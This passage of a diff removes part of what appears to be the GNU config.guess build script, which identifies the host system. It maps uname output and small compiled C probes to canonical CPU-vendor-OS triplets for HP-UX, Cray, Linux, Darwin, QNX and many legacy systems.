- 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0
- 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1
- 532) # CPU_PA_RISC2_0
- case "${sc_kernel_bits}" in
- 32) HP_ARCH="hppa2.0n" ;;
- 64) HP_ARCH="hppa2.0w" ;;
- '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20
- esac ;;
- esac
- fi
- if [ "${HP_ARCH}" = "" ]; then
- eval $set_cc_for_build
- sed 's/^ //' << EOF >$dummy.c
-
- #define _HPUX_SOURCE
- #include <stdlib.h>
- #include <unistd.h>
-
- int main ()
- {
- #if defined(_SC_KERNEL_BITS)
- long bits = sysconf(_SC_KERNEL_BITS);
- #endif
- long cpu = sysconf (_SC_CPU_VERSION);
-
- switch (cpu)
- {
- case CPU_PA_RISC1_0: puts ("hppa1.0"); break;
- case CPU_PA_RISC1_1: puts ("hppa1.1"); break;
- case CPU_PA_RISC2_0:
- #if defined(_SC_KERNEL_BITS)
- switch (bits)
- {
- case 64: puts ("hppa2.0w"); break;
- case 32: puts ("hppa2.0n"); break;
- default: puts ("hppa2.0"); break;
- } break;
- #else /* !defined(_SC_KERNEL_BITS) */
- puts ("hppa2.0"); break;
- #endif
- default: puts ("hppa1.0"); break;
- }
- exit (0);
- }
-EOF
- (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy`
- test -z "$HP_ARCH" && HP_ARCH=hppa
- fi ;;
- esac
- if [ ${HP_ARCH} = "hppa2.0w" ]
- then
- eval $set_cc_for_build
-
- # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating
- # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler
- # generating 64-bit code. GNU and HP use different nomenclature:
- #
- # $ CC_FOR_BUILD=cc ./config.guess
- # => hppa2.0w-hp-hpux11.23
- # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess
- # => hppa64-hp-hpux11.23
-
- if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) |
- grep -q __LP64__
- then
- HP_ARCH="hppa2.0w"
- else
- HP_ARCH="hppa64"
- fi
- fi
- echo ${HP_ARCH}-hp-hpux${HPUX_REV}
- exit ;;
- ia64:HP-UX:*:*)
- HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
- echo ia64-hp-hpux${HPUX_REV}
- exit ;;
- 3050*:HI-UX:*:*)
- eval $set_cc_for_build
- sed 's/^ //' << EOF >$dummy.c
- #include <unistd.h>
- int
- main ()
- {
- long cpu = sysconf (_SC_CPU_VERSION);
- /* The order matters, because CPU_IS_HP_MC68K erroneously returns
- true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct
- results, however. */
- if (CPU_IS_PA_RISC (cpu))
- {
- switch (cpu)
- {
- case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break;
- case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break;
- case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break;
- default: puts ("hppa-hitachi-hiuxwe2"); break;
- }
- }
- else if (CPU_IS_HP_MC68K (cpu))
- puts ("m68k-hitachi-hiuxwe2");
- else puts ("unknown-hitachi-hiuxwe2");
- exit (0);
- }
-EOF
- $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` &&
- { echo "$SYSTEM_NAME"; exit; }
- echo unknown-hitachi-hiuxwe2
- exit ;;
- 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* )
- echo hppa1.1-hp-bsd
- exit ;;
- 9000/8??:4.3bsd:*:*)
- echo hppa1.0-hp-bsd
- exit ;;
- *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*)
- echo hppa1.0-hp-mpeix
- exit ;;
- hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* )
- echo hppa1.1-hp-osf
- exit ;;
- hp8??:OSF1:*:*)
- echo hppa1.0-hp-osf
- exit ;;
- i*86:OSF1:*:*)
- if [ -x /usr/sbin/sysversion ] ; then
- echo ${UNAME_MACHINE}-unknown-osf1mk
- else
- echo ${UNAME_MACHINE}-unknown-osf1
- fi
- exit ;;
- parisc*:Lites*:*:*)
- echo hppa1.1-hp-lites
- exit ;;
- C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*)
- echo c1-convex-bsd
- exit ;;
- C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*)
- if getsysinfo -f scalar_acc
- then echo c32-convex-bsd
- else echo c2-convex-bsd
- fi
- exit ;;
- C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*)
- echo c34-convex-bsd
- exit ;;
- C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*)
- echo c38-convex-bsd
- exit ;;
- C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*)
- echo c4-convex-bsd
- exit ;;
- CRAY*Y-MP:*:*:*)
- echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
- exit ;;
- CRAY*[A-Z]90:*:*:*)
- echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \
- | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \
- -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \
- -e 's/\.[^.]*$/.X/'
- exit ;;
- CRAY*TS:*:*:*)
- echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
- exit ;;
- CRAY*T3E:*:*:*)
- echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
- exit ;;
- CRAY*SV1:*:*:*)
- echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
- exit ;;
- *:UNICOS/mp:*:*)
- echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
- exit ;;
- F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*)
- FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
- FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
- FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'`
- echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
- exit ;;
- 5000:UNIX_System_V:4.*:*)
- FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
- FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'`
- echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
- exit ;;
- i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*)
- echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE}
- exit ;;
- sparc*:BSD/OS:*:*)
- echo sparc-unknown-bsdi${UNAME_RELEASE}
- exit ;;
- *:BSD/OS:*:*)
- echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE}
- exit ;;
- *:FreeBSD:*:*)
- UNAME_PROCESSOR=`/usr/bin/uname -p`
- case ${UNAME_PROCESSOR} in
- amd64)
- echo x86_64-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
- *)
- echo ${UNAME_PROCESSOR}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
- esac
- exit ;;
- i*:CYGWIN*:*)
- echo ${UNAME_MACHINE}-pc-cygwin
- exit ;;
- *:MINGW*:*)
- echo ${UNAME_MACHINE}-pc-mingw32
- exit ;;
- i*:MSYS*:*)
- echo ${UNAME_MACHINE}-pc-msys
- exit ;;
- i*:windows32*:*)
- # uname -m includes "-pc" on this system.
- echo ${UNAME_MACHINE}-mingw32
- exit ;;
- i*:PW*:*)
- echo ${UNAME_MACHINE}-pc-pw32
- exit ;;
- *:Interix*:*)
- case ${UNAME_MACHINE} in
- x86)
- echo i586-pc-interix${UNAME_RELEASE}
- exit ;;
- authenticamd | genuineintel | EM64T)
- echo x86_64-unknown-interix${UNAME_RELEASE}
- exit ;;
- IA64)
- echo ia64-unknown-interix${UNAME_RELEASE}
- exit ;;
- esac ;;
- [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*)
- echo i${UNAME_MACHINE}-pc-mks
- exit ;;
- 8664:Windows_NT:*)
- echo x86_64-pc-mks
- exit ;;
- i*:Windows_NT*:* | Pentium*:Windows_NT*:*)
- # How do we know it's Interix rather than the generic POSIX subsystem?
- # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we
- # UNAME_MACHINE based on the output of uname instead of i386?
- echo i586-pc-interix
- exit ;;
- i*:UWIN*:*)
- echo ${UNAME_MACHINE}-pc-uwin
- exit ;;
- amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*)
- echo x86_64-unknown-cygwin
- exit ;;
- p*:CYGWIN*:*)
- echo powerpcle-unknown-cygwin
- exit ;;
- prep*:SunOS:5.*:*)
- echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
- exit ;;
- *:GNU:*:*)
- # the GNU system
- echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'`
- exit ;;
- *:GNU/*:*:*)
- # other systems with GNU libc and userland
- echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu
- exit ;;
- i*86:Minix:*:*)
- echo ${UNAME_MACHINE}-pc-minix
- exit ;;
- aarch64:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- aarch64_be:Linux:*:*)
- UNAME_MACHINE=aarch64_be
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- alpha:Linux:*:*)
- case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in
- EV5) UNAME_MACHINE=alphaev5 ;;
- EV56) UNAME_MACHINE=alphaev56 ;;
- PCA56) UNAME_MACHINE=alphapca56 ;;
- PCA57) UNAME_MACHINE=alphapca56 ;;
- EV6) UNAME_MACHINE=alphaev6 ;;
- EV67) UNAME_MACHINE=alphaev67 ;;
- EV68*) UNAME_MACHINE=alphaev68 ;;
- esac
- objdump --private-headers /bin/sh | grep -q ld.so.1
- if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi
- echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC}
- exit ;;
- arm*:Linux:*:*)
- eval $set_cc_for_build
- if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \
- | grep -q __ARM_EABI__
- then
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- else
- if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \
- | grep -q __ARM_PCS_VFP
- then
- echo ${UNAME_MACHINE}-unknown-linux-gnueabi
- else
- echo ${UNAME_MACHINE}-unknown-linux-gnueabihf
- fi
- fi
- exit ;;
- avr32*:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- cris:Linux:*:*)
- echo ${UNAME_MACHINE}-axis-linux-gnu
- exit ;;
- crisv32:Linux:*:*)
- echo ${UNAME_MACHINE}-axis-linux-gnu
- exit ;;
- frv:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- hexagon:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- i*86:Linux:*:*)
- LIBC=gnu
- eval $set_cc_for_build
- sed 's/^ //' << EOF >$dummy.c
- #ifdef __dietlibc__
- LIBC=dietlibc
- #endif
-EOF
- eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^LIBC'`
- echo "${UNAME_MACHINE}-pc-linux-${LIBC}"
- exit ;;
- ia64:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- m32r*:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- m68*:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- mips:Linux:*:* | mips64:Linux:*:*)
- eval $set_cc_for_build
- sed 's/^ //' << EOF >$dummy.c
- #undef CPU
- #undef ${UNAME_MACHINE}
- #undef ${UNAME_MACHINE}el
- #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
- CPU=${UNAME_MACHINE}el
- #else
- #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
- CPU=${UNAME_MACHINE}
- #else
- CPU=
- #endif
- #endif
-EOF
- eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^CPU'`
- test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
- ;;
- or32:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- padre:Linux:*:*)
- echo sparc-unknown-linux-gnu
- exit ;;
- parisc64:Linux:*:* | hppa64:Linux:*:*)
- echo hppa64-unknown-linux-gnu
- exit ;;
- parisc:Linux:*:* | hppa:Linux:*:*)
- # Look for CPU level
- case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in
- PA7*) echo hppa1.1-unknown-linux-gnu ;;
- PA8*) echo hppa2.0-unknown-linux-gnu ;;
- *) echo hppa-unknown-linux-gnu ;;
- esac
- exit ;;
- ppc64:Linux:*:*)
- echo powerpc64-unknown-linux-gnu
- exit ;;
- ppc:Linux:*:*)
- echo powerpc-unknown-linux-gnu
- exit ;;
- s390:Linux:*:* | s390x:Linux:*:*)
- echo ${UNAME_MACHINE}-ibm-linux
- exit ;;
- sh64*:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- sh*:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- sparc:Linux:*:* | sparc64:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- tile*:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- vax:Linux:*:*)
- echo ${UNAME_MACHINE}-dec-linux-gnu
- exit ;;
- x86_64:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- xtensa*:Linux:*:*)
- echo ${UNAME_MACHINE}-unknown-linux-gnu
- exit ;;
- i*86:DYNIX/ptx:4*:*)
- # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there.
- # earlier versions are messed up and put the nodename in both
- # sysname and nodename.
- echo i386-sequent-sysv4
- exit ;;
- i*86:UNIX_SV:4.2MP:2.*)
- # Unixware is an offshoot of SVR4, but it has its own version
- # number series starting with 2...
- # I am not positive that other SVR4 systems won't match this,
- # I just have to hope. -- rms.
- # Use sysv4.2uw... so that sysv4* matches it.
- echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION}
- exit ;;
- i*86:OS/2:*:*)
- # If we were able to find `uname', then EMX Unix compatibility
- # is probably installed.
- echo ${UNAME_MACHINE}-pc-os2-emx
- exit ;;
- i*86:XTS-300:*:STOP)
- echo ${UNAME_MACHINE}-unknown-stop
- exit ;;
- i*86:atheos:*:*)
- echo ${UNAME_MACHINE}-unknown-atheos
- exit ;;
- i*86:syllable:*:*)
- echo ${UNAME_MACHINE}-pc-syllable
- exit ;;
- i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*)
- echo i386-unknown-lynxos${UNAME_RELEASE}
- exit ;;
- i*86:*DOS:*:*)
- echo ${UNAME_MACHINE}-pc-msdosdjgpp
- exit ;;
- i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*)
- UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'`
- if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then
- echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL}
- else
- echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL}
- fi
- exit ;;
- i*86:*:5:[678]*)
- # UnixWare 7.x, OpenUNIX and OpenServer 6.
- case `/bin/uname -X | grep "^Machine"` in
- *486*) UNAME_MACHINE=i486 ;;
- *Pentium) UNAME_MACHINE=i586 ;;
- *Pent*|*Celeron) UNAME_MACHINE=i686 ;;
- esac
- echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}
- exit ;;
- i*86:*:3.2:*)
- if test -f /usr/options/cb.name; then
- UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name`
- echo ${UNAME_MACHINE}-pc-isc$UNAME_REL
- elif /bin/uname -X 2>/dev/null >/dev/null ; then
- UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')`
- (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486
- (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \
- && UNAME_MACHINE=i586
- (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \
- && UNAME_MACHINE=i686
- (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \
- && UNAME_MACHINE=i686
- echo ${UNAME_MACHINE}-pc-sco$UNAME_REL
- else
- echo ${UNAME_MACHINE}-pc-sysv32
- fi
- exit ;;
- pc:*:*:*)
- # Left here for compatibility:
- # uname -m prints for DJGPP always 'pc', but it prints nothing about
- # the processor, so we play safe by assuming i586.
- # Note: whatever this is, it MUST be the same as what config.sub
- # prints for the "djgpp" host, or else GDB configury will decide that
- # this is a cross-build.
- echo i586-pc-msdosdjgpp
- exit ;;
- Intel:Mach:3*:*)
- echo i386-pc-mach3
- exit ;;
- paragon:*:*:*)
- echo i860-intel-osf1
- exit ;;
- i860:*:4.*:*) # i860-SVR4
- if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then
- echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4
- else # Add other i860-SVR4 vendors below as they are discovered.
- echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4
- fi
- exit ;;
- mini*:CTIX:SYS*5:*)
- # "miniframe"
- echo m68010-convergent-sysv
- exit ;;
- mc68k:UNIX:SYSTEM5:3.51m)
- echo m68k-convergent-sysv
- exit ;;
- M680?0:D-NIX:5.3:*)
- echo m68k-diab-dnix
- exit ;;
- M68*:*:R3V[5678]*:*)
- test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;;
- 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0)
- OS_REL=''
- test -r /etc/.relid \
- && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
- /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
- && { echo i486-ncr-sysv4.3${OS_REL}; exit; }
- /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
- && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;;
- 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*)
- /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
- && { echo i486-ncr-sysv4; exit; } ;;
- NCR*:*:4.2:* | MPRAS*:*:4.2:*)
- OS_REL='.3'
- test -r /etc/.relid \
- && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
- /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
- && { echo i486-ncr-sysv4.3${OS_REL}; exit; }
- /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
- && { echo i586-ncr-sysv4.3${OS_REL}; exit; }
- /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \
- && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;;
- m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*)
- echo m68k-unknown-lynxos${UNAME_RELEASE}
- exit ;;
- mc68030:UNIX_System_V:4.*:*)
- echo m68k-atari-sysv4
- exit ;;
- TSUNAMI:LynxOS:2.*:*)
- echo sparc-unknown-lynxos${UNAME_RELEASE}
- exit ;;
- rs6000:LynxOS:2.*:*)
- echo rs6000-unknown-lynxos${UNAME_RELEASE}
- exit ;;
- PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*)
- echo powerpc-unknown-lynxos${UNAME_RELEASE}
- exit ;;
- SM[BE]S:UNIX_SV:*:*)
- echo mips-dde-sysv${UNAME_RELEASE}
- exit ;;
- RM*:ReliantUNIX-*:*:*)
- echo mips-sni-sysv4
- exit ;;
- RM*:SINIX-*:*:*)
- echo mips-sni-sysv4
- exit ;;
- *:SINIX-*:*:*)
- if uname -p 2>/dev/null >/dev/null ; then
- UNAME_MACHINE=`(uname -p) 2>/dev/null`
- echo ${UNAME_MACHINE}-sni-sysv4
- else
- echo ns32k-sni-sysv
- fi
- exit ;;
- PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort
- # says <Richard.M.Bartel@ccMail.Census.GOV>
- echo i586-unisys-sysv4
- exit ;;
- *:UNIX_System_V:4*:FTX*)
- # From Gerald Hewes <hewes@openmarket.com>.
- # How about differentiating between stratus architectures? -djm
- echo hppa1.1-stratus-sysv4
- exit ;;
- *:*:*:FTX*)
- # From seanf@swdc.stratus.com.
- echo i860-stratus-sysv4
- exit ;;
- i*86:VOS:*:*)
- # From Paul.Green@stratus.com.
- echo ${UNAME_MACHINE}-stratus-vos
- exit ;;
- *:VOS:*:*)
- # From Paul.Green@stratus.com.
- echo hppa1.1-stratus-vos
- exit ;;
- mc68*:A/UX:*:*)
- echo m68k-apple-aux${UNAME_RELEASE}
- exit ;;
- news*:NEWS-OS:6*:*)
- echo mips-sony-newsos6
- exit ;;
- R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*)
- if [ -d /usr/nec ]; then
- echo mips-nec-sysv${UNAME_RELEASE}
- else
- echo mips-unknown-sysv${UNAME_RELEASE}
- fi
- exit ;;
- BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only.
- echo powerpc-be-beos
- exit ;;
- BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only.
- echo powerpc-apple-beos
- exit ;;
- BePC:BeOS:*:*) # BeOS running on Intel PC compatible.
- echo i586-pc-beos
- exit ;;
- BePC:Haiku:*:*) # Haiku running on Intel PC compatible.
- echo i586-pc-haiku
- exit ;;
- SX-4:SUPER-UX:*:*)
- echo sx4-nec-superux${UNAME_RELEASE}
- exit ;;
- SX-5:SUPER-UX:*:*)
- echo sx5-nec-superux${UNAME_RELEASE}
- exit ;;
- SX-6:SUPER-UX:*:*)
- echo sx6-nec-superux${UNAME_RELEASE}
- exit ;;
- SX-7:SUPER-UX:*:*)
- echo sx7-nec-superux${UNAME_RELEASE}
- exit ;;
- SX-8:SUPER-UX:*:*)
- echo sx8-nec-superux${UNAME_RELEASE}
- exit ;;
- SX-8R:SUPER-UX:*:*)
- echo sx8r-nec-superux${UNAME_RELEASE}
- exit ;;
- Power*:Rhapsody:*:*)
- echo powerpc-apple-rhapsody${UNAME_RELEASE}
- exit ;;
- *:Rhapsody:*:*)
- echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE}
- exit ;;
- *:Darwin:*:*)
- UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown
- case $UNAME_PROCESSOR in
- i386)
- eval $set_cc_for_build
- if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then
- if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \
- (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \
- grep IS_64BIT_ARCH >/dev/null
- then
- UNAME_PROCESSOR="x86_64"
- fi
- fi ;;
- unknown) UNAME_PROCESSOR=powerpc ;;
- esac
- echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE}
- exit ;;
- *:procnto*:*:* | *:QNX:[0123456789]*:*)
- UNAME_PROCESSOR=`uname -p`
- if test "$UNAME_PROCESSOR" = "x86"; then
- UNAME_PROCESSOR=i386
- UNAME_MACHINE=pc
- fi
- echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE}
- exit ;;
- *:QNX:*:4*)
- echo i386-pc-qnx
- exit ;;
- NEO-?:NONSTOP_KERNEL:*:*)
- echo neo-tandem-nsk${UNAME_RELEASE}
- exit ;;
- NSE-?:NONSTOP_KERNEL:*:*)
- echo nse-tandem-nsk${UNAME_RELEASE}
- exit ;;
- NSR-?:NONSTOP_KERNEL:*:*)
- echo nsr-tandem-nsk${UNAME_RELEASE}
- exit ;;
- *:NonStop-UX:*:*)
- echo mips-compaq-nonstopux
- exit ;;
- BS2000:POSIX*:*:*)
- echo bs2000-siemens-sysv
- exit ;;
- DS/*:UNIX_System_V:*:*)
- echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE}
- exit ;;
- *:Plan9:*:*)
- # "uname -m" is not consistent, so use $cputype instead. 386
- # is converted to i386 for consistency with other x86
- # operating systems.
- if test "$cputype" = "386"; then
- UNAME_MACHINE=i386
- else
- UNAME_MACHINE="$cputype"
- fi
- echo ${UNAME_MACHINE}-unknown-plan9
- exit ;;
- *:TOPS-10:*:*)
- echo pdp10-unknown-tops10
- exit ;;
- *:TENEX:*:*)
- echo pdp10-unknown-tenex
- exit ;;
- KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*)
- echo pdp10-dec-tops20
- exit ;;
- XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*)
- echo pdp10-xkl-tops20
- exit ;;
- *:TOPS-20:*:*)
- echo pdp10-unknown-tops20
- exit ;;
- *:ITS:*:*)
- echo pdp10-unknown-its
- exit ;;
- SEI:*:*:SEIUX)
- echo mips-sei-seiux${UNAME_RELEASE}
- exit ;;
- *:DragonFly:*:*)
- echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
- exit ;;
- *:*VMS:*:*)
- UNAME_MACHINE=`(uname -p) 2>/dev/null`
- case "${UNAME_MACHINE}" in
- A*) echo alpha-dec-vms ; exit ;;
- I*) echo ia64-dec-vms ; exit ;;
- V*) echo vax-dec-vms ; exit ;;
- esac ;;
- *:XENIX:*:SysV)
- echo i386-pc-xenix
- exit ;;
- i*86:skyos:*:*)
- echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//'
- exit ;;
- i*86:rdos:*:*)
- echo ${UNAME_MACHINE}-pc-rdos
- exit ;;
- i*86:AROS:*:*)
- echo ${UNAME_MACHINE}-pc-aros
- exit ;;
- x86_64:VMkernel:*:*)
- echo ${UNAME_MACHINE}-unknown-esx
- exit ;;
-esac
-
-#echo '(No uname command or uname output not recognized.)' 1>&2
-#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2
-
-eval $set_cc_for_build
-cat >$dummy.c <<EOF
-#ifdef _SEQUENT_
-# include <sys/types.h>
-# include <sys/utsname.h>
-#endif
-main ()
-{
-#if defined (sony)
-#if defined (MIPSEB)
- /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed,
- I don't know.... */
- printf ("mips-sony-bsd\n"); exit (0);
-#else
-#include <sys/param.h>
- printf ("m68k-sony-newsos%s\n",
-#ifdef NEWSOS4
- "4"
-#else
- ""
-#endif
- ); exit (0);
-#endif
-#endif
-
-#if defined (__arm) && defined (__acorn) && defined (__unix)
- printf ("arm-acorn-riscix\n"); exit (0);
-#endif
-
-#if defined (hp300) && !defined (hpux)
- printf ("m68k-hp-bsd\n"); exit (0);
-#endif
-
-#if defined (NeXT)
-#if !defined (__ARCHITECTURE__)
-#define __ARCHITECTURE__ "m68k"
-#endif
- int version;
- version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`;
- if (version < 4)
- printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version);
- else
- printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version);
- exit (0);
-#endif
-
-#if defined (MULTIMAX) || defined (n16)
-#if defined (UMAXV)
- printf ("ns32k-encore-sysv\n"); exit (0);
-#else
-#if defined (CMU)
- printf ("ns32k-encore-mach\n"); exit (0);
-#else
- printf ("ns32k-encore-bsd\n"); exit (0);
-#endif
-#endif
-#endif
-
-#if defined (__386BSD__)
- printf ("i386-pc-bsd\n"); exit (0);
-#endif
-
-#if defined (sequent)
-#if defined (i386)
- printf ("i386-sequent-dynix\n"); exit (0);
-#endif
-#if defined (ns32000)
